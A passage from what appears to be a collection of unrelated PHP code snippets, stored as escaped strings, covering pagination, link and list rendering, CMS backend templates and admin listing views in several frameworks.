$i . $this->prev_tag_close;\n } else {\n $output .= \"<li class='null'></li>\";\n }\n\n // Write the digit links\n $output .= \"<select tabindex='-1'>\";\n $start = 1;\n $end = $per_page;\n if ($_quantity == -1)\n $output .= '<option selected=\"selected\" > - </option>';\n for ($loop = 1; $loop <= $num_pages; $loop++) {\n if ($end > $total_rows)\n $end = $total_rows;\n $output .= '<option value=\"' . (($loop - 1) * $per_page) . '\" ' . ($loop == $cur_page ? \"selected='selected'\" : \"\") . ' >Trang ' . $loop . '/' . $num_pages . '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;' . $start . \"-\" . $end . '/' . $total_rows . '</option>';\n $start+=$per_page;\n $end+=$per_page;\n }\n $output .= \"</select>\";\n\n // Render the \"next\" link\n if ($cur_page != $num_pages && $_quantity != -1) {\n $i = $_offset + $per_page;\n $output .= $this->next_tag_open . $i . $this->next_tag_close;\n } else {\n $output .= \"<li class='null'></li>\";\n }\n\n // Render the \"Last\" link\n if ($cur_page != $num_pages) {\n $i = ($num_pages - 1) * $per_page;\n $output .= $this->last_tag_open . $i . $this->last_tag_close;\n } else {\n $output .= \"<li class='null'></li>\";\n }\n\n // Add the wrapper HTML if exists\n $output = $this->full_tag_open . $output . str_replace(array(\"{class}\", \"{style}\"), array(($_quantity == -1 ? \"ui-state-hover\" : \"icon\"), ($_quantity == -1 ? \"cursor:default\" : \"\")), $this->full_tag_close);\n\n return $output;\n }", "public function generate()\n\t{\n\t\tif (TL_MODE == 'BE')\n\t\t{\n\t\t\t$objTemplate = new BackendTemplate('be_wildcard');\n\t\t\t$objTemplate->wildcard = '### VOTEBOX: LIST ###';\n\t\t\t$objTemplate->title = $this->headline;\n\t\t\t$objTemplate->id = $this->id;\n\t\t\t$objTemplate->link = $this->name;\n\t\t\t$objTemplate->href = 'contao/main.php?do=themes&amp;table=tl_module&amp;act=edit&amp;id=' . $this->id;\n\n\t\t\treturn $objTemplate->parse();\n\t\t}\n\n\t\treturn parent::generate();\n\t}", "function cat_create_link()\n{\n return Parrot::getInstance()->getUrl(\"admin/category/create\");\n}", "function get_list_url( ){\n return reverse($this->url_prefix.\"_list\" );\n\t}", "public function create_links()\n {\n \t$txt = '<ul>';\n \t$last = end($this->breadcrumb);\n \tforeach($this->breadcrumb AS $breadcrumb)\n \t{\n \t\t$url = '';\n \t\t$class = FALSE;\n \t\tif($breadcrumb['active'] == '1')\n \t\t{\n \t\t\t$class = 'active';\n \t\t}\n \t\t$txt .= '<li><a href=\"'.$breadcrumb['url'].'\" class=\"'.$class.'\" title=\"'.$breadcrumb['txt'].'\">'.$breadcrumb['txt'].'</a></li>';\n \t\t$class = '';\n \t}\n \t\n \t$txt .= '</ul>';\n \treturn $txt;\n }", "public function action_index () {\r\n\t\t$page_category\t= $this->page_category->load_by_name($this->_class_name);\r\n\t\t$category_files\t= $this->category_files->find(array('category_id'=>$page_category->id),'',1);\r\n\t\t\r\n\t\t$buffers = array();\r\n\t\tforeach ($category_files as $cfile){\r\n\t\t\t$buffers[$cfile->category_id] = $cfile;\r\n\t\t}\r\n\t\t$category_files = $buffers;\r\n\t\t\r\n\t\t$order_by\t\t= array('order'=>'desc');\r\n\t\t$links\t\t\t= $this->links->find(array('status'=>'publish'),$order_by);\r\n\t\t$linkstype\t\t= $this->linkstype->find(array('status'=>'publish'));\r\n\t\t\r\n\t\t$content_vars\t= array(\r\n\t\t\t\t\t\t\t\t\t'category_upload_path' => $this->category_upload_path,\r\n\t\t\t\t\t\t\t\t\t'category_upload_url' => $this->category_upload_url,\r\n\t\t\t\t\t\t\t\t\t'page_category' => $page_category,\r\n\t\t\t\t\t\t\t\t\t'category_files' => $category_files,\r\n\t\t\t\t\t\t\t\t\t'links' => $links,\r\n\t\t\t\t\t\t\t\t\t'linkstype' => $linkstype\r\n\t\t\t\t\t\t\t\t);\r\n\r\n\t\t$content\t\t\t= View::factory('site/links_page');\r\n\r\n\t\tforeach ($content_vars as $var => $val) {\r\n\t\t\t$content->$var\t= $val;\r\n\t\t}\r\n\t\t\t\t\r\n\t\t$this->template->meta_keywords\t\t= Lib::_explode_keywords('Links for information');\r\n\t\t\r\n\t\t$this->template->meta_description\t= 'Links Page ' . strip_tags('Links for information');\t\r\n\t\t\r\n\t\t$this->template->page_title\t\t= 'Links - '. Lib::config('site.title');\r\n\t\t\r\n\t\t$this->template->content\t\t= $content; \r\n\t}", "public function index()\n\t{\n\t\t$this->template->build('addressbook/contact_listing');\t\n\t}", "public function renderListContent() {}", "function link_to_collection($text = null, $props = array(), $action = 'show', $collectionObj = null)\n{\n if (!$collectionObj) {\n $collectionObj = get_current_record('collection');\n }\n\n $collectionTitle = metadata($collectionObj, array('Dublin Core', 'Title'));\n $text = !empty($text) ? $text : $collectionTitle;\n return link_to($collectionObj, $action, $text, $props);\n}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('MesdHelpWikiBundle:Link')->findAll();\n\n return $this->render('MesdHelpWikiBundle:Link:list.html.twig', array(\n 'entities' => $entities,\n 'menu' => new Menu(),\n ));\n }", "function newList($_options = false) {\n\t\tglobal $model;\n\n\t\t$label = \"List\";\n\t\t$action = $this->path.\"/list\";\n\n\t\t// overwrite defaults\n\t\tif($_options !== false) {\n\t\t\tforeach($_options as $_option => $_value) {\n\t\t\t\tswitch($_option) {\n\n\t\t\t\t\tcase \"label\" : $label = $_value; break;\n\t\t\t\t\tcase \"action\" : $action = $_value; break;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$_ = '';\n\n\t\t$_ .= $model->link($label, $action, array(\"class\" => \"button primary key:esc\", \"wrapper\" => \"li.back\"));\n\n\t\treturn $_;\n\t}", "function create_links()\n\t{\n\t\t$totalItems = $this->total_records;\n\t\t$perPage = $this->size;\n\t\t$currentPage = $this->page;\n\t\t$link = $this->link;\n\t\t$totalPages = floor($totalItems / $perPage);\n\t\t$totalPages += ($totalItems % $perPage != 0) ? 1 : 0;\n\n\t\tif ($totalPages < 1 || $totalPages == 1){\n\t\t\treturn null;\n\t\t}\n\n\t\t$output = null;\t\t\t\t\n\t\t$loopStart = 1; \n\t\t$loopEnd = $totalPages;\n\n\t\tif ($totalPages > 5)\n\t\t{\n\t\t\tif ($currentPage <= 3)\n\t\t\t{\n\t\t\t\t$loopStart = 1;\n\t\t\t\t$loopEnd = 5;\n\t\t\t}\n\t\t\telse if ($currentPage >= $totalPages - 2)\n\t\t\t{\n\t\t\t\t$loopStart = $totalPages - 4;\n\t\t\t\t$loopEnd = $totalPages;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$loopStart = $currentPage - 2;\n\t\t\t\t$loopEnd = $currentPage + 2;\n\t\t\t}\n\t\t}\n\n\t\tif ($loopStart != 1){\n\t\t\t$output .= sprintf('<li class=\"disabledpage\"> <a href=\"' . $link . '\">&#171;</a> </li>', '1');\n\t\t}\n\t\t\n\t\tif ($currentPage > 1){\n\t\t\t$output .= sprintf('<li class=\"nextpage\"> <a href=\"' . $link . '\">'._previous_.'</a> </li>', $currentPage - 1);\n\t\t}\n\t\t\n\t\tfor ($i = $loopStart; $i <= $loopEnd; $i++)\n\t\t{\n\t\t\tif ($i == $currentPage){\n\t\t\t\t$output .= '<li class=\"currentpage\">' . $i . '</li> ';\n\t\t\t} else {\n\t\t\t\t$output .= sprintf('<li><a href=\"' . $link . '\">', $i) . $i . '</a> </li> ';\n\t\t\t}\n\t\t}\n\n\t\tif ($currentPage < $totalPages){\n\t\t\t$output .= sprintf('<li class=\"nextpage\"> <a href=\"' . $link . '\">'._next_.'</a> </li>', $currentPage + 1);\n\t\t}\n\t\t\n\t\tif ($loopEnd != $totalPages){\n\t\t\t$output .= sprintf('<li class=\"nextpage\"> <a href=\"' . $link . '\">&#187;</a> </li>', $totalPages);\n\t\t}\n\n\t\treturn '<div class=\"pagination\"><ul>' . $output . '</ul></div>';\n\t}", "public function create_links()\n {\n $totalPages = floor($this->total_records / $this->size);\n $totalPages += ($this->total_records % $this->size != 0) ? 1 : 0;\n if($totalPages < 1 || $totalPages == 1)\n return null;\n $output = null;\n $loopStart = 1;\n $loopEnd = $totalPages;\n if($totalPages > 5){\n if($this->page <= 3){\n $loopStart = 1;\n $loopEnd = 5;\n } else if($this->page >= $totalPages - 2){\n $loopStart = $totalPages - 4;\n $loopEnd = $totalPages;\n } else{\n $loopStart = $this->page - 2;\n $loopEnd = $this->page + 2;\n }\n }\n if($loopStart != 1){\n $output .= sprintf('<a id=\"back\" href=\"' . $this->link . '\">&#171;</a>', '1');\n }\n if($this->page > 1){\n $output .= sprintf('<a id=\"prev\" href=\"' . $this->link . '\">' . __('Previous') . '</a>', $this->page - 1);\n }\n for($i = $loopStart; $i <= $loopEnd; $i++){\n if($i == $this->page){\n $output .= '<a class=\"on\">' . $i . '</a>';\n } else{\n $output .= sprintf('<a href=\"' . $this->link . '\">', $i) . $i . '</a>';\n }\n }\n if($this->page < $totalPages){\n $output .= sprintf('<a id=\"next\" href=\"' . $this->link . '\">' . __('Next') . '</a>', $this->page + 1);\n }\n if($loopEnd != $totalPages){\n $output .= sprintf('<a id=\"forward\" href=\"' . $this->link . '\">&#187;</a>', $totalPages);\n }\n return '<div id=\"pagination\"><ul><li>' . $output . '</li></ul></div>';\n }", "function makeListTags(){\n //add prefix for production\n $rootPrefix = \"\";\n $addPrefix = \"\";\n if ($_SERVER['SERVER_NAME'] == \"localhost\"){\n $rootPrefix = \"/portfolio\";\n } else {\n $addPrefix = \"3/public_html/sethjkalkstein.com\";\n }\n\n $listOfLinks = [\"About\" => $rootPrefix.\"/index.php\", \"Projects\" => $rootPrefix.\"/projects/index.php\", \"Resume\" => $rootPrefix.\"/resume.pdf\", \"Contact\" => $rootPrefix.\"/contact.php\"];\n\n foreach($listOfLinks as $lTitle => $lLink){\n $idText = \"\";\n if (getCurrentFile() == $addPrefix.$lLink){\n $idText = 'id=\"currentPage\"';\n }\n echo '<li><a '.$idText.' href=\"'.$lLink.'\">'.$lTitle.'</a></li>';\n }\n}", "public function buildListTemplate()\n {\n $this->addListColumn(\n SharpListTemplateColumnConfig::create(\"titre\")\n ->setSize(3)\n ->setHeading(\"Titre\")\n );\n\n $this->addListColumn(\n SharpListTemplateColumnConfig::create(\"soustitre\")\n ->setSize(3)\n ->setHeading(\"Sous-titre\")\n );\n }", "public function getListViewUrl() {\n\t\treturn \"index.php?module=\".$this->getName().\"&parent=\".$this->getParentName().\"&view=List\";\n\t}", "public function getListViewUrl() {\n\t\treturn \"index.php?module=\".$this->getName().\"&parent=\".$this->getParentName().\"&view=List\";\n\t}", "public function link($action=\"show\", $text=Null, $format=Null, $raw=False, array $params=Null, array $urlParams=Null, $id=Null) {\n $text = ($text === Null) ? \"List\" : $text;\n return parent::link($action, $text, $format, $raw, $params, $urlParams, $id);\n }", "public function listview() {\n\n $photo_list = Doctrine::getTable('Photo')->findAll();\n $data['photo_list'] = $photo_list;\n\n $data['view_name'] = \"photo_list_view\";\n $this->load->view(\"admin/common/template\", $data);\n }", "private function createLink($pageNum,$startRecord)\n\t{\n\t\t# want to display page 1 instead of page 0\n\t\t$pageNum=$pageNum+1;\n\n if($this->activePage==$pageNum)\n {\n $linkText = '<li class=\"active\">';\n }\n else\n {\n $linkText = '<li>';\n }\n\t\t$linkText.='<a href=\"';\n\t\t$linkText.=$this->url;\n\t\t$linkText.='?searchParam='.$this->searchParam;\n\t\t$linkText.='&amp;selectCounty='.$this->selectCounty;\n\t\t$linkText.='&amp;startRecord='.$startRecord;\n\t\t$linkText.='&amp;recordsPerPage='.$this->recordsPerPage;\n $linkText.='&amp;pageNum='.$pageNum.'\">';\n\t\t$linkText.=$pageNum;\n\t\t$linkText.='<span class=\"sr-only\">'.$pageNum.'</span>';\n\t\t$linkText.='</a></li> ';\n\n\t\treturn $linkText;\n\t}", "public function create()\n {\n return view(\"/backend/link/create\");\n }", "public function detailAction() {\n\n //GET THE LIST ITEM\n $this->view->listDetail = Engine_Api::_()->getItem('list_listing',(int) $this->_getParam('id'));\n }", "public function viewLink()\n {\n return app('html')->link(\n 'admin/partials/view/' . $this->object->getId(),\n $this->object->getTitle(),\n ['target' => '_blank']\n );\n }", "protected function renderListNavigation()\n {\n $totalPages = ceil($this->totalItems / $this->iLimit);\n\n $content = '';\n\n // Show page selector if not all records fit into one page\n if ($totalPages > 1) {\n $first = $previous = $next = $last = '';\n $listURL = $this->listURL('', $this->table);\n\n // 1 = first page\n $currentPage = floor(($this->firstElementNumber + 1) / $this->iLimit) + 1;\n\n // Compile first, previous, next, last and refresh buttons\n if ($currentPage > 1) {\n $labelFirst = $GLOBALS['LANG']->sL('LLL:EXT:tt_news/Classes/Module/locallang.xml:first');\n\n $first = '<a href=\"' . $listURL . '&pointer=0\"><img' . IconFactory::skinImg('control_first.gif')\n . 'alt=\"' . $labelFirst . '\" title=\"' . $labelFirst . '\" /></a>';\n } else {\n $first = '<img' . IconFactory::skinImg('control_first_disabled.gif') . 'alt=\"\" title=\"\" />';\n }\n\n if (($currentPage - 1) > 0) {\n $labelPrevious = $GLOBALS['LANG']->sL('LLL:EXT:tt_news/Classes/Module/locallang.xml:previous');\n\n $previous = '<a href=\"' . $listURL . '&pointer=' . (($currentPage - 2) * $this->iLimit) . '\"><img' . IconFactory::skinImg('control_previous.gif')\n . 'alt=\"' . $labelPrevious . '\" title=\"' . $labelPrevious . '\" /></a>';\n } else {\n $previous = '<img' . IconFactory::skinImg('control_previous_disabled.gif') . 'alt=\"\" title=\"\" />';\n }\n\n if (($currentPage + 1) <= $totalPages) {\n $labelNext = $GLOBALS['LANG']->sL('LLL:EXT:tt_news/Classes/Module/locallang.xml:next');\n\n $next = '<a href=\"' . $listURL . '&pointer=' . (($currentPage) * $this->iLimit) . '\"><img' . IconFactory::skinImg('control_next.gif')\n . 'alt=\"' . $labelNext . '\" title=\"' . $labelNext . '\" /></a>';\n } else {\n $next = '<img' . IconFactory::skinImg('control_next_disabled.gif') . 'alt=\"\" title=\"\" />';\n }\n\n if ($currentPage != $totalPages) {\n $labelLast = $GLOBALS['LANG']->sL('LLL:EXT:tt_news/Classes/Module/locallang.xml:last');\n\n $last = '<a href=\"' . $listURL . '&pointer=' . (($totalPages - 1) * $this->iLimit) . '\"><img' . IconFactory::skinImg('control_last.gif')\n . 'alt=\"' . $labelLast . '\" title=\"' . $labelLast . '\" /></a>';\n } else {\n $last = '<img' . IconFactory::skinImg('control_last_disabled.gif') . 'alt=\"\" title=\"\" />';\n }\n\n $pageIndicator = sprintf($GLOBALS['LANG']->sL('LLL:EXT:tt_news/Classes/Module/locallang.xml:pageIndicator'),\n $currentPage, $totalPages);\n\n if ($this->totalItems > ($this->firstElementNumber + $this->iLimit)) {\n $lastElementNumber = $this->firstElementNumber + $this->iLimit;\n } else {\n $lastElementNumber = $this->totalItems;\n }\n $rangeIndicator = '<span class=\"pageIndicator\">'\n . sprintf($GLOBALS['LANG']->sL('LLL:EXT:tt_news/Classes/Module/locallang.xml:rangeIndicator'),\n $this->firstElementNumber + 1, $lastElementNumber, $this->totalItems)\n . '</span>';\n\n $content .= '<div class=\"ttnewsadmin-pagination\">'\n . $first . $previous\n . '&nbsp;'\n . $rangeIndicator . '&nbsp;('\n . $pageIndicator . ')&nbsp;'\n . $next . $last\n . '</div>';\n } // end of if pages > 1\n\n $data = Array();\n $titleColumn = $this->fieldArray[0];\n $data[$titleColumn] = $content;\n\n return ($this->addElement(1, '', $data));\n }", "function listing() {\r\n\r\n }", "public function create()\n {\n //\n return view(\"Admin.link.create\");\n }", "function createItemLink($itemid, $extra = '') {\n return createLink('item', array('itemid' => $itemid, 'extra' => $extra) );\n}", "public function makeLinkButton() {}", "public function index() {\n\t if(!$page = $this->param(\"page\")) $page=1;\n\t Session::set(\"list_refer\", $_SERVER['REQUEST_URI']);\n\t \n\t\t/** \n\t\t*\tremove temporary files \n\t\t*\t- now using the date_created field to make sure that only files older than an hour created by the logged in user will be deleted. \n\t\t*\tThis is should avoid any accidental deletion of temp records that are still being worked on.\n\t\t**/\n\t if($status_col){\n \t\t$clear_tmp_model = clone $this->model;\n \t\t$time = date(\"Y-m-d H:i:s\", mktime( date(\"H\")-1, 0, 0, date(\"m\"), date(\"d\"), date(\"Y\") ) );\n \t\tif($this->auth_col) $clear_tmp_model->filter(array(\"$this->auth_col\"=>$this->current_user->id));\n \t\tif($this->status_col) $clear_tmp_model->filter(array(\"$this->status_col\"=>3));\n \t\t$clear_tmp_model->filter(\"`\".$this->created_on_col.\"` < '$time'\");\n\t\t\tforeach($clear_tmp_model->all() as $tmp_content) $tmp_content->delete();\n\t\t}\n\t\t/**\n\t\t* work out the items to display - hide those temp files\n\t\t**/\n\t\t$this->display_action_name = 'List Items';\n\t\t$this->all_rows = $this->model->filter(array(\"status\"=>array(0,1)))->order($this->default_order.\" \".$this->default_direction)->page($page, $this->list_limit);\n\t\t$this->filter_block_partial .= $this->render_partial(\"filter_block\");\n\t\t$this->list = $this->render_partial(\"list\");\n\t}", "public function index(): Renderable\n {\n return view('lists.create');\n }", "public function create()\n {\n //加载添加友情链接\n \n return view(\"admin.link.create\");\n }", "public static function listItemsTpl()\n {\n extract(FeedPage::$var);\n?>\n<?php include(\"tpl/list_items.tpl.php\"); ?>\n<?php\n }", "public function create_listing(){\n $this->checkLogin();\n $this->load->view('CompanyViews/create-listing');\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function viewLink()\n {\n return $this->html->link($this->object->path(), $this->object->getTitle(), ['target' => '_blank']);\n }", "function insert_btn_detail(){\n\t?>\n\t<div class=\"text-center wrap-detail\">\n\t\t<a href=\"<?php the_permalink( );?>\" title=\"<?php _e( 'View detail', 'shtheme' );?>\">\n\t\t\t<?php _e( 'View detail', 'shtheme' );?>\n\t\t</a>\n\t</div>\n\t<?php\n}", "function displayCreateListing() {\r\n displayModifyListing(\"processListing.php\", \"createListing\", \"\", \"\", \"\",\"\",\"\", \"\");\r\n}", "public function listView(): void\n {\n $this->_data = $this->_entity->fetch();\n if (!$this->special) {\n $newData = $this->_builder->submitCreate();\n if ($newData) {\n array_push($this->_data, $newData);\n }\n }\n require VF . \"{$this->route}/list.php\";\n require VF . \"{$this->route}/create.php\";\n }", "public function create()\n {\n return view(\"admin.links.create\")->with(\"links\", Link::getPotentialParents());\n }", "function listNew($_options = false) {\n\t\tglobal $model;\n\n\t\t$label = \"New\";\n\t\t$action = \"new\";\n\n\t\t// overwrite defaults\n\t\tif($_options !== false) {\n\t\t\tforeach($_options as $_option => $_value) {\n\t\t\t\tswitch($_option) {\n\n\t\t\t\t\tcase \"label\" : $label = $_value; break;\n\t\t\t\t\tcase \"action\" : $action = $_value; break;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$_ = '';\n\n\t\t$_ .= $model->link($label, $this->path.\"/\".$action, array(\"class\" => \"button primary key:n\", \"wrapper\" => \"li.new\"));\n\n\t\treturn $_;\n\t}", "public function userListTemplate(): void\n {\n $page = get_query_var(self::CUSTOMPAGEVAR);\n if ($page === $this->customEndpoint()) {\n $data = self::FetchUsersData();\n $userListingTemplate = plugin_dir_path(dirname(__FILE__)) . \"views/listing-view/template-users-list.php\";\n $this->themeRedirect($userListingTemplate, true, $data);\n exit();\n }\n }", "function createEmployeeList($rows){\n return \"<li><a href='?id=\".$rows['EmployeeID'].\"'> \".$rows['FirstName'].\" \".$rows['LastName'] .\"</a></li>\";\n}", "public function link() { return site_url().'/'.$this->post->post_name; }", "public function listing();", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "public function story_list()\n\t{\n\t\t$data['page']='Story List';\n\t\t$data['stories_list']=$this->stories->get_all();\n\t\t$view = 'admin/stories/admin_stories_list_view';\n\t\techo Modules::run('template/admin_template', $view, $data);\t\n\t}", "function home_listing(){\n\n\t\treturn view('home/addhome/addhome');\n\t}", "protected function generateLinks()\n {\n if ( ! is_null($this->links) ) {\n foreach ( $this->links as $link ) {\n $this->addLine('<url>');\n $this->addLine('<loc>');\n $this->addLine($this->helpers->url(\n $link->link,\n $this->protocol,\n $this->host\n ));\n $this->addLine('</loc>');\n $this->addLine('<lastmod>' . date_format($link->updated_at, 'Y-m-d') . '</lastmod>');\n $this->addLine('</url>');\n }\n }\n }", "public function generate()\n {\n if (TL_MODE == 'BE')\n {\n $objTemplate = new BackendTemplate('be_wildcard');\n\n $objTemplate->wildcard = '### NEWS LIST ###';\n $objTemplate->title = $this->headline;\n $objTemplate->id = $this->id;\n $objTemplate->link = $this->name;\n $objTemplate->href = 'contao/main.php?do=modules&act=edit&id=' . $this->id;\n\n return $objTemplate->parse();\n }\n\n $this->news_archives = $this->sortOutProtected(deserialize($this->news_archives, true));\n\n // Return if there are no archives\n if (!is_array($this->news_archives) || count($this->news_archives) < 1)\n {\n return '';\n }\n\n return parent::generate();\n }", "public function getListDetailTpl(){\n return $this->templates['list_detail'];\n }", "public function link()\r\n\t{\r\n\t\t$language_segment = (Config::get('core::languages')) ? $this->language->uri . '/' : '';\r\n\r\n\t\treturn url($language_segment . 'galleries/' . $this->gallery->slug . '/' . $this->id);\r\n\t}", "public function listing() {\n check_access($this->session->userdata('role_id'),3);\n \n $data = array();\n $data['title'] = \"Day Listings\";\n $data['content'] = \"admin/dayopenclose/listing\";\n $this->load->view(ADMIN_BODY, $data);\n }", "function printRecipeList() {\n global $RecipeList;\n \n echo \"<ul>\";\n foreach($RecipeList as $recipe) {\n echo \"<li><a href='\" . $recipe . \"'>\" . $recipe . \"</a></li>\";\n }\n echo \"</ul>\";\n \n}", "public function create()\r\n {\r\n //\r\n return view('Listing');\r\n }", "public function create()\n { \n //加载添加页面 \n return view('admin.links.create',['title'=>'友情链接添加']);\n }", "public function link()\n\t{\n\t\treturn route('balldeep.posts.show', [$this->type->slug, $this->slug]);\n\t}", "public function viewLink()\n {\n return \\Html::link($this->entity->path(), $this->entity->getTitle(), ['target' => '_blank']);\n }", "function listAction()\n{\n $posts = getAllPost();\n require 'templates/list.php';\n}", "function ll_makelist($ll_infolinks, $widgetname){\n\techo '<nav class=\"' . $widgetname .'\"><ul class=\"liblinks-list ' . $widgetname .'\">';\n\tforeach ($ll_infolinks as $linktitle => $linkhref) {\n\t\techo '<li><a href=\"' . $linkhref . '\">' . $linktitle . '</a></li>';\n }\n echo '</ul></nav>';\n}", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n // On récupére tous les liens\n $entities = $em->getRepository('IsmSiteBundle:Links')->findAll();\n\n return $this->render('IsmSiteBundle:Links:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionHTUselisting()\n {\n \t ob_start();\n \t Yii::app()->theme='back';\n \t $rec=HtuseHome::model()->findAll();\n \t $this->render('htuselisting',array('list'=>$rec));\n }", "public function create()\n {\n return view('backend.link.create');\n }", "protected function render() {\n\n\t\t$settings = $this->get_settings_for_display();\n\n\t\n\t\t$target = $settings['url']['is_external'] ? ' target=\"_blank\"' : '';\n\t\t$nofollow = $settings['url']['nofollow'] ? ' rel=\"nofollow\"' : '';\n\n\t\t$taxonomy_names = get_object_taxonomies( 'listing','object' );\n\t\t\n\t\t$taxonomy = $settings['taxonomy'];\n\t\t\n\t\tif($taxonomy){\n\t\t\t$term = get_term_by( 'id',$settings[$taxonomy.'term'], $taxonomy );\n\n\t\t\tif($term){\n\t\t\t\t$term_url = get_term_link($term, $taxonomy);\t\n\t\t\t\tif(is_wp_error($term_url)){\n\t\t\t\t\t$term_url = '';\t\n\t\t\t\t}\t\n\t\t\t} else {\n\t\t\t\t$term_url = '';\n\t\t\t}\n\t\t\t\n\t\t} else {\n\t\t\t$term_url = '';\n\t\t}\n\t\t$url = (!empty( $settings['url']['url'] )) ? $settings['url']['url'] : $term_url ;\n\t\t\n\t\t?>\n\t\t\n\t\t<?php if($settings['style'] == 'alternative-imagebox') { ?>\n\t\t\t<div class=\"alternative-imagebox\">\n\t\t<?php } ?> \n\n\t\t\t<a <?php echo 'href=\"' . esc_url($url) . '\"' . $target . $nofollow; ?> class=\"img-box \" \n\t\t\t\t<?php if(isset($settings['background']['url']) && !empty(isset($settings['background']['url']))){ ?>data-background-image=\"<?php echo esc_url($settings['background']['url']); ?>\" <?php } ?>>\n\t\t\t\t\n\t\t\t\t<div class=\"img-box-content visible\">\n\t\t\t\t\t<?php if($term): ?>\n\t\t\t\t\t\t<h4><?php echo $term->name; ?></h4>\n\t\t\t\t\t\t<?php if($settings['show_counter']) : ?><span><?php echo $term->count; ?> <?php esc_html_e('Listings','elementor-listeo') ?></span> <?php endif; ?>\n\t\t\t\t\t<?php endif; ?>\n\t\t\t\t</div>\n\t\t\t</a>\n\t\t<?php if($settings['style'] == 'alternative-imagebox') { ?>\n\t\t\t</div>\n\t\t<?php } ?> \n\n\t\n\t\t<?php\n\t\t//lik\n\t}", "public function create()\n {\n //显示添加链接界面\n return view('admin.links.add');\n }", "public function generate()\n\t{\n\t\tif (TL_MODE == 'BE')\n\t\t{\n\t\t\t$objTemplate = new \\BackendTemplate('be_wildcard');\n\n\t\t\t$objTemplate->wildcard = '### BOOK NAVIGATION ###';\n\t\t\t$objTemplate->title = $this->headline;\n\t\t\t$objTemplate->id = $this->id;\n\t\t\t$objTemplate->link = $this->name;\n\t\t\t$objTemplate->href = 'contao/main.php?do=themes&amp;table=tl_module&amp;act=edit&amp;id=' . $this->id;\n\n\t\t\treturn $objTemplate->parse();\n\t\t}\n\n\t\tglobal $objPage;\n\n\t\tif (!$this->rootPage || !in_array($this->rootPage, $objPage->trail))\n\t\t{\n\t\t\treturn '';\n\t\t}\n\n\t\treturn parent::generate();\n\t}", "public function renderList()\n {\n $pages = $this->module->getAllHTMLPages(true /* get inactive as well */);\n $content = '';\n\n if (!$pages)\n return $content;\n\n foreach ($pages as $i => $page) {\n $pages[$i]['full_url'] = $this->module->getFullURLForPage($pages[$i], $pages);\n }\n\n $fieldsList = [\n 'id_page' => [\n 'title' => 'ID',\n 'align' => 'center',\n 'class' => 'fixed-width-xs',\n ],\n 'name' => [\n 'title' => $this->l('Name'),\n ],\n 'full_url' => [\n 'title' => $this->l('Full URL'),\n ],\n 'active' => [\n 'title' => $this->l('Active'),\n 'active' => 'status',\n 'type' => 'bool',\n ]\n ];\n\n $helper = new HelperList();\n $helper->shopLinkType = '';\n $helper->simple_header = true;\n $helper->actions = [\"edit\", \"delete\", ];\n $helper->show_toolbar = false;\n $helper->module = $this;\n $helper->listTotal = count($pages);\n $helper->identifier = 'id_page';\n $helper->position_identifier = 'id_page';\n $helper->title = \"Custom Pages\";\n $helper->orderBy = 'full_url';\n $helper->orderWay = 'DESC';\n $helper->table = $this->table;\n $helper->token = Tools::getAdminTokenLite('AdminCustomHTMLPages');\n $helper->currentIndex = AdminController::$currentIndex.'&configure='.$this->name;\n\n $content .= $helper->generateList($pages, $fieldsList);\n\n return $content;\n }", "protected function _toHtml(): string\n {\n if (false != $this->getTemplate()) {\n return parent::_toHtml();\n }\n\n return sprintf('<li><a %s>%s</a>',\n $this->getLinkAttributes(), $this->escapeHtml($this->getLabel())\n );\n }", "public function toUrl()\n {\n\n return '<a href=\"'.static::$toUrl.'&amp;objid='.$this->id.'\" >'.$this->text().'</a>';\n\n }", "function lb_show_add_record_page_action() {\n\tlb_show_templates(\n\t\tarray(\n\t\t\t'name' => 'add',\n\t\t)\n\t);\n}", "public function generate()\n {\n if (TL_MODE == 'BE')\n {\n $objTemplate = new \\BackendTemplate('be_wildcard');\n \n $objTemplate->wildcard = '### EINSATZLISTE ###';\n $objTemplate->href = 'contao/main.php?do=themes&table=tl_module&act=edit&id=' . $this->id;\n \n return $objTemplate->parse();\n }\n \n return parent::generate();\n }", "function link_to_items_browse($text, $browseParams = array(), $linkProperties = array())\n{\n return link_to('items', 'browse', $text, $linkProperties, $browseParams);\n}", "public function addPage() {\n $item = menu_get_item();\n $content = system_admin_menu_block($item);\n\n if (count($content) == 1) {\n $item = array_shift($content);\n drupal_goto($item['href']);\n }\n\n return theme('thumbwhere_contentcollectionitem_add_list', array('content' => $content));\n }", "public function addPage() {\n $item = menu_get_item();\n $content = system_admin_menu_block($item);\n\n if (count($content) == 1) {\n $item = array_shift($content);\n drupal_goto($item['href']);\n }\n\n return theme('thumbwhere_host_add_list', array('content' => $content));\n }", "function fileList(){\n\t\tchdir('./../cloud/books/'); //Move to template directory\n\t\t\n\t\tif ($handle = opendir(getcwd())) { //Open dir\n\t\t echo '<ul class=\"list-group\">';\n\t\t while (false !== ($entry = readdir($handle))) { //While directory not end - return files list\n\t\t \tif ($entry != \".\" && $entry != \".DS_Store\" && $entry != \"..\") { //Filter trash\n\t\t \t\tif(is_dir($entry)){ //IF dir then return button with folder icon \n\t\t \t\t\techo '<a href=\"#\" class=\"list-group-item cat\"><i class=\"fa fa-folder-o\" aria-hidden=\"true\"></i> '.$entry.'</a>';\n\t\t \t\t}else{ //else return file button\n\t\t \t\t\t$FileInfo = new SplFileInfo($entry); //Get file info\n\t\t \t\t\t$ext = $FileInfo->getExtension(); //Get file extension\n\t\t \t\t\tif($ext == \"png\" or $ext == \"jpg\" or $ext == \"bmp\") //IF file is image then return button with image icon\n\t\t \t\t\t\techo '<a href=\"/files/cloud/books/'.$entry.'\" class=\"list-group-item file\"><i class=\"fa fa-file-image-o\" aria-hidden=\"true\"></i> '.$entry.'</a>';\n\t\t \t\t\telse //Else return button with file-code icon\n\t\t \t\t\t\techo '<a href=\"/files/cloud/books/'.$entry.'\" class=\"list-group-item file\"><i class=\"fa fa-file-o\" aria-hidden=\"true\"></i> '.$entry.'</a>';\n\t\t 